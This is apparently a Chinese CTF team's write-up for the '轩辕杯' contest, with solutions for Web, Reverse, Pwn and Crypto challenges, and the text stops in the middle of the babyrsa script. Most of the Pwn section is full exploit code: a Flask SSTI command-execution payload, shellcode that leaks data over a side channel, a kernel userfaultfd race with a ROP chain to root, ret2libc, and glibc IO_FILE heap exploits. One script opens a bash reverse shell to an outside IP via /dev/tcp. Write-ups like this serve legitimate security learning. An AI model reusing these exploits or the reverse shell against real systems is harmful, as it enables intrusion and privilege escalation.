轩辕杯

排名:4

Web

签到

第一关:

POST /?a=welcome HTTP/1.1
Host: 27.25.151.26:16239
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cookie: star=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

b=new

第二关:password=2025a

第三关:

POST /levelThree.php HTTP/1.1
Host: 27.25.151.26:16239
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Referer: secretcode
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 11
Content-Type: application/x-www-form-urlencoded

key=ctfpass

第四关:

HEAD /level444Four.php?identity=n1c3 HTTP/1.1
Host: 27.25.151.26:59114
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: identity=n1c3
Cookie: identity=n1c3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 13

identity=n1c3

第五关:

第六关:nl /*

ez_flask

{{g['pop']['__globals__']['__builti'+'ns__']['__im'+'port__']('so'[::-1])['pop'+'en']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['rea'+'d']()}}

ez_js

POST:

ez_RCE

POST /?num=1e1000 HTTP/1.1
Host: 27.25.151.26:14664
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

new=readgzfile&star=/flag

ezssrf1.0

Dirsearch 扫到 flag 文件

访问即可。

Reverse

Matlab_SMC?

输入样本数据,拿到加密后数据。

发现是 y = 5x² + 2x + 1 的对应关系

解密得到数据:

计算出平均值得到 flag

flag{md5(9.493,8.346)}

ezBase

010 将 upx 都改成 UPX,将 6.66 改成 3.91,然后直接 upx -d 就可以脱掉了

逻辑很简单,就是 base64 变表 + xor 4

hookme

查看代码逻辑,大概就是一个 native 层的 rc4,然后进行比较

简单 hook 一波

function main(){
    Java.perform(function(){
        var MainActivity = Java.use("com.example.hookme.MainActivity")
        var Array_ = Java.use("java.util.Arrays")
        console.log("hello")
        var equals_ = Array_.equals.overload('[B', '[B')
        equals_ = function(s0, s1){
            console.log("equals => ", s0, s1)
            let res = this.equals(s0, s1)
            return res
        }

        var rc4Encrypt = MainActivity.rc4Encrypt
        rc4Encrypt.implementation = function(s0) {
            console.log("rc4Encrypt => ", s0)
            let res = this.rc4Encrypt(s0)
            console.log("rc4Encrypt res => ", res)
            return res
        }

        var getString = MainActivity.getString.overload('int')
        getString.implementation = function(s0) {
            let res = this.getString(s0)
            console.log("getString res => ", res)
            return res
        }
    })
}
setImmediate(main)

得到 xor 的结果,反推一波 xor key 然后将密文扔到 cyberchef 梭哈

你知道 Base 么

先 tea 解出 key => y0uokTea

#include <stdio.h>
#include <stdint.h>
 
//加密函数
void encrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;     //v0,v1分别为字符串的低字节高字节     
    uint32_t delta=2654435769;                    
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i < 32; i++) {            
        sum += delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                             
    v[0]=v0; v[1]=v1;
}



//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], i;  
    uint32_t delta=2654435769;   
        uint32_t sum = (32)*delta;                  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];  
    for (i=0; i<32; i++) {                        //解密时将加密算法的顺序倒过来,还有+=变为-=
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              
    v[0]=v0; v[1]=v1;
}


//密文 
unsigned char cipher[]= {
  0x65, 0x38, 0x2F, 0xA9, 0x53, 0xE9, 0x60, 0x9E
};

int main()
{
        
        unsigned char a;
    uint32_t *v = (uint32_t*)cipher;
        unsigned char *p = (unsigned char*)v;
    uint32_t k[4]={0x12345678,0x3456789A,0x89ABCDEF,0x12345678};
    
    for(int i=0;i<2;i+=2) {
        
        decrypt(v+i, k);
    }
     
    for(int i=0;i<8;i++)
    {
            printf("%c", cipher[i]);
    } 
    
    return 0;
}

然后 rc4 解出 table => gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7

#include<iostream>
#include<string>
#include<stdlib.h>

using namespace std;

const int N = 1e6+10;

// 在C++中,char类型通常被视为有符号类型,其取值范围为-128到127
//无符号整数的取值范围为0到255
unsigned char s[256]; // S盒子
unsigned char text[]={  0xD4, 0x59, 0x23, 0x76, 0xB4, 0xBF, 0xE3, 0x2C, 0x58, 0x8F, 
  0x56, 0x19, 0xDA, 0xF0, 0xC0, 0xBD, 0x36, 0x3D, 0x7B, 0x46, 
  0x1B, 0xB8, 0x17, 0x1F, 0xE3, 0xD0, 0x03, 0x45, 0xCD, 0x04, 
  0xED, 0xC9, 0x67, 0xE6, 0xAB, 0x29, 0xA7, 0xBC, 0x0B, 0xDE, 
  0x5C, 0x30, 0x71, 0xD7, 0xD5, 0x5A, 0xC6, 0x9F, 0x40, 0x65, 
  0xC4, 0x71, 0xA9, 0xC3, 0xAE, 0xD9, 0xB5, 0xE5, 0x12, 0x8C, 
  0x80, 0x52, 0x34, 0x36}; // 明文密文统一用text
unsigned char secret_key[]="y0uokTea";// 密钥

void init() // KSA初始化S盒
{
    unsigned key_len = sizeof(secret_key)-1;
    //cout<<key_len<<endl; 
    unsigned char T[256] = {0}; // 临时数组向量
    for(unsigned int i = 0; i < 256; i ++ ) 
    {
        s[i] = i;
    }
    for(int i = 0, j = 0; i < 256; i ++ )
    {
            
        j = (j + s[i] + secret_key[i % key_len]) % 256;
        swap(s[i], s[j]);
    }
}

void encrypt_encode() // 加密或者解密都是再次经过这个函数
{
    init();
    
    unsigned int len = sizeof(text);
    unsigned char k, i = 0, j = 0, t;
    for(unsigned int h = 0; h < len; h ++ )
    {
        i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                swap(s[i], s[j]);
                t = (s[i] + s[j]) % 256;
                k = s[t];
                text[h] -= k;
                //printf("%x ", k);
    }
}

int main()
{
        //freopen("1.txt","w",stdout);
   // cout << "请输入明文" << endl;
   // cin >> text;
  //  cout << "请输入密钥" << endl;
   // cin >> secret_key;
   // encrypt_encode();
  //  cout << "加密后的密文:" << text << endl;
    encrypt_encode();
    for(int i=0;i<sizeof(text);i++)
    {
            printf("%c",text[i]);
        }
    
    return 0;
}

最后 base 魔改梭哈

#include<iostream>
#include<stdint.h>
using namespace std;
unsigned char table[] = "gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7";
unsigned char cipher[] = "0tCPwtnncFZyYUlSK/4Cw0/echcG2lteBWnG2Ulw0htCYTMW";
unsigned char find_table(unsigned char a)
{
        for(int i = 0; i < 64; i++) {
                if(table[i + 1] == a){
                        return i;
                }
        }
}

int main()
{
        for(int i = 0; i < 48; i+=8) {
                uint64_t a;
                uint64_t tmp = 0;
                for(int k = 0; k < 8; k++) {
                        a = find_table(cipher[i + k]);
                        
                        a <<= (35 - k * 5);
                        tmp |= a;

                }
                printf("%llx", tmp);
        }
}

输出一下

Pwn

babyshellcode

测信道爆破

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
    gdb.attach(io, gdbscript=script)

io=0

def find(i, c):
        global io
        io=remote("27.25.151.26", 32437)
        sc=asm("""
        mov rax, 0
        movabs rax, 0x67616C66
        push 0
        push rax
        push rsp
        pop rdi
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 2
        syscall #open("flag.txt", 0, 0);
        mov rsi, rdi
        mov rdi, rax
        xor rax, rax
        mov rdx, 0x100
        syscall #read(0, rsp, 0x100);
        mov al, [rsp+{}]
        cmp al, {}
        jbe $
        """.format(i, c))
        io.send(sc)

        try:
                io.recv(timeout=3)
                io.close()
                return True
        except EOFError:
                io.close()
                return False

flag = ''
i=len(flag)
while True:
        l = 0x20
        r = 0x80
        while l <= r:
                m = (l + r) // 2
                if find(i, m):
                        r = m - 1
                else:
                        l = m + 1

        if l==0:
                break
        flag += chr(l)
        info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
        info(flag)
        i += 1

info("flag: "+flag)

ez_tank

让 msg=/bin/bash 就能直接执行 reverse shell

from pwn import *
from base64 import b64encode

context(arch='amd64',os='linux')
context.log_level="info"
context.terminal = ["tmux", "splitw", "-h"]
#server=process("./httpd")
#io=remote("localhost", 9999)
io=remote("27.25.151.26", 40864)

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
        gdb.attach(server, gdbscript=script)


#body='{"username":"test","password":"666","msg":' '"' + b64encode("/bin/bash\0"+"\0"*0x106).strip("=") + "=" + '"}'

body='{"username":"test","password":"666","msg":' '"' + "/bin/bash" + '"}'
req="POST / HTTP/1.1\r\n"+"Content-Length: "+str(len(body))+"\r\n"+"Content-Type: application/x-www-form-urlencoded\r\n\r\n"+body

print req

#debug("break *execl\nc")
#debug("break *execl\nbreak *0x555555557d1a\nc")
#debug()
s(req)

sl("sh -i >& /dev/tcp/47.121.187.105/1145 0>&1")
shell()

ez_kk

条件竞争,用 userfaultd 来写 seq_operations 再用 pt_regs 打 rop

//musl-gcc -static -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp exp.c
#define _GNU_SOURCE
#include <sys/socket.h>
#include <assert.h>
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <stdint.h>
#include <stdbool.h>
#include <linux/keyctl.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/user.h>

int fd, seq_fd;
unsigned long buf[256];

unsigned long init_cred = 0xffffffff82c9be80;
unsigned long commit_cred = 0xffffffff810f4400;
unsigned long pop_rdi = 0xffffffff81095776;
unsigned long kpti = 0xffffffff81e00f86;
unsigned long do_fork = 0xffffffff810c0c70;

struct msg{
        void *p;
        size_t size;
};

void del(){
        struct msg tmp;
        ioctl(fd, 0x3333, &tmp);
}

void edit(void *p, size_t size){
        struct msg tmp = {
                .p = p,
                .size = size
        };
        ioctl(fd, 0x2222, &tmp);
}

void show(void *p, size_t size){
        struct msg tmp = {
                .p = p,
                .size = size
        };
        ioctl(fd, 0x1111, &tmp);
}

void *fault_handler_thread(void *arg){
        char *dummy_page;
        struct uffd_msg msg;
        struct uffdio_copy copy;
        struct pollfd pollfd;
        long uffd;

        uffd = (long)arg;
        puts("[+] fault_handler_thread: waiting for page fault...");
        pollfd.fd = uffd;
        pollfd.events = POLLIN;

        while (poll(&pollfd, 1, -1) > 0){
                read(uffd, &msg, sizeof(msg));
                printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags);
                printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address);


                del();
                seq_fd = open("/proc/self/stat", O_RDONLY);

                copy.src = (unsigned long)buf;
                copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
                copy.len = 0x1000;
                copy.mode = 0;
                copy.copy = 0;
                ioctl(uffd, UFFDIO_COPY, &copy);

        }
        return 0;
}

int register_uffd(void *addr, size_t len){
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;
        long uffd;
        pthread_t th;

        uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        ioctl(uffd, UFFDIO_API, &uffdio_api);

        uffdio_register.range.start = (unsigned long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
        pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);

        return 0;
}

void pin_cpu(int core){
        cpu_set_t cpu_set;
        CPU_ZERO(&cpu_set);
        CPU_SET(core, &cpu_set);
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

int main(){
        pin_cpu(0);

        if (!fork()) {
                if (!fork()){
                        exit(0);
                }
                exit(0);
        }

        fd = open("/dev/x1device", O_RDWR);

        void *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        register_uffd(page, 0x1000);

        for(int i=0;i<4;i++){ buf[i] = 0xffffffff815a474e; }
        edit(page, 32);

        __asm__(
                ".intel_syntax noprefix;"
                "mov r15,   pop_rdi;"
                "mov r14,   init_cred;"
                "mov r13,   commit_cred;"
                "mov r12,   do_fork;"
                "xor rax,   rax;"
                "mov rcx,   0xaaaaaaaa;"
                "mov rdx,   8;"
                "mov rsi,   rsp;"
                "mov rdi,   seq_fd;"
                "syscall;"
                ".att_syntax;"
        );

        if (!getuid()) {
                system("cat /flag ; sh");
        }else {
                puts("Oops...");
        }
        while(1) {}
        return 0;
}

it_is_a_canary

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './it_is_a_canary')
if local_flag == "remote":
    addr = '27.25.151.26:33414'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    brva 0x12CD
    c
'''
launch_gdb(cmd)
sa(b'canary', b'a' * 0x19)
ru(b'a' * 0x18)
canary = u64_ex(r(8)) - 0x61
leak_ex2(canary)
s(b'a' * 0x18 + p64(canary) + b'a' * 0x8 + b'\x53\xa2')

ia()

lllibc

from pwn import *

context(arch='amd64',os='linux')
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("27.25.151.26", 31584)

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
        gdb.attach(io, gdbscript=script)

rdi=0x000000000040117e
rdx=0x0000000000401182
rsi=0x0000000000401180
ret=0x000000000040101a
plt=0x0000000000401060
got=0x0000000000404018
main=0x000000000040122A

p="A"*24+p64(rdi)+p64(1)+p64(rsi)+p64(got)+p64(rdx)+p64(16)+p64(plt)+p64(main)
sa("?", p)
rl()

libc=u64(r(8))-0x114870
print hex(libc)
#debug()
system=libc+0x50d70
binsh=libc+0x1d8678

p="A"*24+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
sa("?", p)

shell()

ez_ptm

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '27.25.151.26:27191'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process('./pwn')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')

IAT = b'>> '


def add(idx, size):
    sla(IAT, b'1')
    sla(b'Index', str(idx))
    sla(b'Size', str(size))


def dele(idx):
    sla(IAT, b'2')
    sla(b'Index', str(idx))


def edit(idx, size, data):
    sla(IAT, b'3')
    sla(b'Index', str(idx))
    sla(b'Size', str(size))
    s(data)


def show(idx):
    sla(IAT, b'4')
    sla(b'Index:\n', str(idx))


cmd = '''
    brva 0x1621
    brva 0x1737
    brva 0x18BB
    brva 0x1996
    brva 0x1A2F
    b setcontext
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
'''

add(0, 0x428)
add(1, 0x400)
add(2, 0x418)
add(3, 0x400)

sla(IAT, str(0x1314520))
sla(b'Index', str(0))

add(4, 0x438)
dele(2)

show(0)
libc_base = u64_ex(ru('\x7f')[-6:]) - 0x21B0D0
set_current_libc_base_and_log(libc_base)

edit(0, 0x10, b'a' * 0x10)
edit(0, 1, b'a')
show(0)
ru(b'a' * 0x10)
heap_base = u64_ex(ru('\x0a', drop=True)[-6:]) - 0x1950
leak_ex2(heap_base)

edit(0, 0x20, flat([libc_base + 0x21B100, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20]))
add(5, 0x438)
add(2, 0x418)

fake_IO_FILE = heap_base + 0x1950
ucontext = flat(
    {
        0x0: (__shlib_handle := 0),  # codecvt->__cd_in.step->__shlib_handle
        0x28: (__fct := libc.sym.setcontext),  # codecvt->__cd_in.step->__fct  rip
        0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
        0x78: (_rbp := 0),
        0x68: (_rdi := 0x114514000),
        0x70: (_rsi := 0x2000),
        0x88: (_rdx := fake_IO_FILE + 0x300),
        0x80: (_rbx := 0),
        0x98: (_rcx := 0),
        # 0x28: (_r8 := 0),
        0x30: (_r9 := 0),
        0x48: (_r12 := 0),
        0x50: (_r13 := 0),
        0x58: (_r14 := 0),
        0x60: (_r15 := 0),
        0xA8: (_rip := libc_base + 0x5A120),
        0xE0: fake_IO_FILE + 0xE0 + 0xE8,  # fldenv [rcx]
        0xE8: ShellcodeMall.amd64.cat_flag,
    },
    filler=b'\x00',
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rax = CG.pop_rax_ret()
rcx = CG.pop_rcx_ret()
r8 = libc_base + 0x1659E6
syscall_ret = CG.syscall_ret()
mov_r10_rcx = libc_base + 0x115AF4

payload = flat([r8, 0, rcx, 34, mov_r10_rcx, rax, 9, rdx_rbx, 7, 7, syscall_ret, rdi, 0, rsi, 0x114514000, rdx_rbx, 0x1000, 0x1000, rax, 0, syscall_ret, 0x114514000])

IO_payload = flat(
    {
        0x0: ~(4 | 0x10),
        0x10: (_IO_read_end := 0x666),  # fp->_IO_read_ptr < fp->_IO_read_end
        0x28: (_IO_write_base := 0x666),  # fp->_IO_write_ptr < fp->_IO_write_end
        0x98: (_codecvt := fake_IO_FILE + 0xA8),  # _codecvt
        0xA0: (_wide_data := fake_IO_FILE + 0x28),  # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end  *A >= *(A + 8)
        0xA8: (__cd_instep := fake_IO_FILE + 0xE0),  # codecvt->__cd_in.step
        0xD8: libc.sym._IO_wfile_jumps + 0x8,  # vtable _IO_wfile_jumps -> _IO_wfile_underflow
        0xE0: ucontext,
        0x2E0: b'/flag\x00',
        0x300: payload,
    },
    filler=b'\x00',
)
edit(0, 0x400, IO_payload[0x10:])
launch_gdb(cmd)
sla(IAT, b'5')

s(asm(shellcraft.openat(-100, '/flag') + shellcraft.sendfile(1, 3, 0, 0x100)))

ia()

baby_heap

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = '27.25.151.26:26023'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'choice:\n'


def add(idx, size):
    sla(IAT, b'1')
    sla(b'index', str(idx))
    sla(b'size', str(size))


def dele(idx):
    sla(IAT, b'2')
    sla(b'index', str(idx))


def edit(idx, data):
    sla(IAT, b'3')
    sla(b'index', str(idx))
    sa(b'content', data)


def show(idx):
    sla(IAT, b'4')
    sla(b'index', str(idx))


cmd = '''
    brva 0x1370
    brva 0x13FD
    brva 0x149B
    brva 0x14FC
    b setcontext
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
'''

add(0, 0x428)
add(1, 0x418)
add(2, 0x418)
add(3, 0x418)

dele(0)

add(4, 0x438)
dele(2)

show(0)
libc_base = u64_ex(ru('\x7f')[-6:]) - 0x21B0D0
set_current_libc_base_and_log(libc_base)

edit(0, b'a' * 0x10)
show(0)
ru(b'a' * 0x10)
heap_base = u64_ex(ru('\x0a', drop=True)[-6:]) - 0x290
leak_ex2(heap_base)

edit(0, flat([libc_base + 0x21B100, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20]))
add(5, 0x438)
add(2, 0x418)

fake_IO_FILE = heap_base + 0x290
ucontext = flat(
    {
        0x0: (__shlib_handle := 0),  # codecvt->__cd_in.step->__shlib_handle
        0x28: (__fct := libc.sym.setcontext),  # codecvt->__cd_in.step->__fct  rip
        0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
        0x78: (_rbp := 0),
        0x68: (_rdi := 0x114514000),
        0x70: (_rsi := 0x2000),
        0x88: (_rdx := fake_IO_FILE + 0x300),
        0x80: (_rbx := 0),
        0x98: (_rcx := 0),
        # 0x28: (_r8 := 0),
        0x30: (_r9 := 0),
        0x48: (_r12 := 0),
        0x50: (_r13 := 0),
        0x58: (_r14 := 0),
        0x60: (_r15 := 0),
        0xA8: (_rip := libc_base + 0x5A120),
        0xE0: fake_IO_FILE + 0xE0 + 0xE8,  # fldenv [rcx]
        0xE8: ShellcodeMall.amd64.cat_flag,
    },
    filler=b'\x00',
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rax = CG.pop_rax_ret()
rcx = CG.pop_rcx_ret()
r8 = libc_base + 0x1659E6
syscall_ret = CG.syscall_ret()
mov_r10_rcx = libc_base + 0x115AF4

payload = flat([r8, 0, rcx, 34, mov_r10_rcx, rax, 9, rdx_rbx, 7, 7, syscall_ret, rdi, 0, rsi, 0x114514000, rdx_rbx, 0x1000, 0x1000, rax, 0, syscall_ret, 0x114514000])

IO_payload = flat(
    {
        0x0: ~(4 | 0x10),
        0x10: (_IO_read_end := 0x666),  # fp->_IO_read_ptr < fp->_IO_read_end
        0x28: (_IO_write_base := 0x666),  # fp->_IO_write_ptr < fp->_IO_write_end
        0x98: (_codecvt := fake_IO_FILE + 0xA8),  # _codecvt
        0xA0: (_wide_data := fake_IO_FILE + 0x28),  # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end  *A >= *(A + 8)
        0xA8: (__cd_instep := fake_IO_FILE + 0xE0),  # codecvt->__cd_in.step
        0xD8: libc.sym._IO_wfile_jumps + 0x8,  # vtable _IO_wfile_jumps -> _IO_wfile_underflow
        0xE0: ucontext,
        0x2E0: b'/flag\x00',
        0x300: payload,
    },
    filler=b'\x00',
)
launch_gdb(cmd)
edit(0, IO_payload[0x10:])
sla(IAT, b'5')

s(asm(shellcraft.openat(-100, '/flag') + shellcraft.sendfile(1, 3, 0, 0x100)))


ia()

Crypto

简单编码

[!TIP]
ABBAABB ABBABAB ABABAAA ABABAAB ABBBBAA ABBAABA ABABBAA ABBAAAA ABBAAAB ABBABAB ABBBAAA ABAABBB ABABBAA ABABABB ABABBAA ABBABBB ABBABAA ABABABA ABAABAB ABBBAAA ABBBABA ABABBAB ABBBBAA ABABBAB ABBBAAA ABBABAB ABBAABA ABABAAA ABABABA AABBAB ABBBABB ABBAABA ABBABAB AABABA ABBBBAA ABBBAAB ABBAABA AABBAB ABABBAA ABBAAAB ABBBAAA ABBABAB ABBABAA ABABABB ABBBABA ABABABB ABBAABB ABBABAA ABBABAB ABBABAB ABABAAA ABBBABA AABABB ABABBAB AABBAB ABABAAA ABBAAAB ABBBBAB ABBBAAA ABABABA ABBAAAA ABABAAB ABABABB ABBABBA ABBABAB AABABA ABBABAA ABBBABA ABBBABA AABBAA ABBBBAA ABBAAAA ABABBBB ABBABAB ABABABB ABAABBB ABBAAAA ABABAAA ABABABB ABBABAA ABBABBA ABABABA ABAABAB ABABABA AABABB ABABBAB ABBBBAA ABBBBAB ABBBAAA ABABAAB ABBABBB ABABAAB ABBAAAA ABAABAB ABBBABB ABBABAA ABBABAB ABABABA ABAABAB ABBBABA ABBAABA AABBAB ABABBAA ABAABAB ABBBAAA ABBABAB ABBBABA ABAABBB ABABBBA ABABABB ABABBAA ABBABBB ABBABAA ABAABAB ABABABA ABBBAAB ABABBAA ABBAABA ABABBAA ABAABAB ABBBAAA ABBABAB ABBABBB ABBBABB ABBBABA ABABBAA ABBABAB ABABABA ABBAABA ABAABAB ABBAABA ABBABBB ABBBAAA ABBAABA ABBBBAA ABBAAAA ABBABAA ABABBAB ABBABAA ABAABBB ABABABA ABABABB ABABABB AABBAB ABBAAAB ABBBBAB ABABABA ABBBABA AABBAB ABABABA ABBABAB ABBBAAB ABBBAAA ABBAAAB ABBBBAA ABBBBAA ABBABAA ABBAABA AABBAB ABBBABA

将 a 替换为 1,将 b 替换为 0

最后的 %3d 改成==解 base64

fd66324e6l46b8e85c3e622e4ea0ea90e780f174099gc3accb14eacf67b8}{455378a1

栅栏爆破一下

flag{c04d6e34aab689c5c0e68eb51753c843e032efa7c16427f8642ee07ab946e981}

DIladila

Speck 加密,round 和 key 都用逆的即可解密。

def rol(_val_, _r_bits_, _max_bits_=16):
    return ((val << r_bits) & (2**max_bits - 1)) | (val >> (max_bits - r_bits))

def ror(_val_, _r_bits_, _max_bits_=16):
    return (val >> r_bits) | ((val << (max_bits - r_bits)) & (2**max_bits - 1))

def speck_round_inverse(_x_, _y_, _k_):
    y ^= x
    y = ror(y, 2)
    x ^= k
    x = (x - y) & 0xFFFF
    x = rol(x, 7)
    return x, y

def decrypt_block(_x_, _y_, _keys_):
    for k in reversed(keys):
        x, y = speck_round_inverse(x, y, k)
    return x, y

def blocks_to_str(_blocks_):
    result = bytearray()
    for x, y in blocks:
        result.extend(x.to_bytes(2, 'little'))
        result.extend(y.to_bytes(2, 'little'))
    while result and result[-1] == 0:
        result.pop()
    return result.decode('utf-8')

keys = [0x1234, 0x5678, 0x9abc, 0xdef0]

ciphertext = [
    (57912, 19067),
    (38342, 34089),
    (16842, 41652),
    (30292, 50979),
    (9137, 57458),
    (29822, 64285),
    (33379, 14140),
    (16514, 4653)
]

plaintext_blocks = []
for cx, cy in ciphertext:
    px, py = decrypt_block(cx, cy, keys)
    plaintext_blocks.append((px, py))

decrypted_text = blocks_to_str(plaintext_blocks)
print(decrypted_text)

flag{You_DIladila_Crypto_Matser}

babyrsa

flag = b"flag{****************************}"
m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p*q
d = getPrime(130)
phi = (p-1)*(q-1)
e = inverse(d, phi)
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
# print(f'e = {e}')

def gen(bits):
    while True:
        p = 2
        while p.bit_length() < bits:
            p *= choice(sieve_base)
        if isPrime(p - 1):
            return p - 1

p1 = gen(256)
q1 = gen(256)
n1 = p1 * q1
c1 = p1 + e

print(f'n1 = {n1}')
print(f'c1 = {c1}')

根据 gen 看出 p+1 光滑,Williams’s p+1 分解,得到 e,d 的数量级可以使用 boneh 攻击得到 flag

from Crypto.Util.number import *
from random import choice
import math
from  itertools import *
'''
flag = b"flag{****************************}"
m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p*q
d = getPrime(130)
phi = (p-1)*(q-1)
e = inverse(d, phi)
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
# print(f'e = {e}')


def gen(bits):
